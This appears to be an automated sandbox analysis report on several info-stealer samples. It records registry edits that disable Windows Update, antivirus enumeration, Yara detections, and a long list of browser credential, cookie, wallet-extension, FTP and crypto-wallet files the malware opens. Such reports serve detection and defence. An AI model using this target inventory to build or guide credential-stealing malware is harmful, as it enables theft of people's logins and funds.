Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 2235d4f703.exe, 00000009.00000003.2715582287.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2793038580.000000000122C000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2715780457.0000000001259000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2738474191.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2898379971.0000000001400000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.b40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.b40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1734319751.0000000000651000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1759436709.0000000000B41000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1718718912.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1759412863.0000000000B41000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2286916639.0000000004900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1719175764.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1693568536.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 9afe8d29fa.exe PID: 4500, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 2235d4f703.exe PID: 8096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2235d4f703.exe PID: 2132, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000020.00000002.2938363540.0000000000F31000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2949459984.0000000001AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2849604282.00000000057C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2637178904.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2688574615.00000000006AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2689206036.0000000000F31000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 86526d7b20.exe PID: 3428, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 2235d4f703.exe	String found in binary or memory: Wallets/Electrum
Source: 2235d4f703.exe	String found in binary or memory: Wallets/ElectronCash
Source: 2235d4f703.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 2235d4f703.exe	String found in binary or memory: window-state.json
Source: 2235d4f703.exe	String found in binary or memory: ExodusWeb3
Source: 2235d4f703.exe	String found in binary or memory: Wallets/Ethereum
Source: 2235d4f703.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 2235d4f703.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
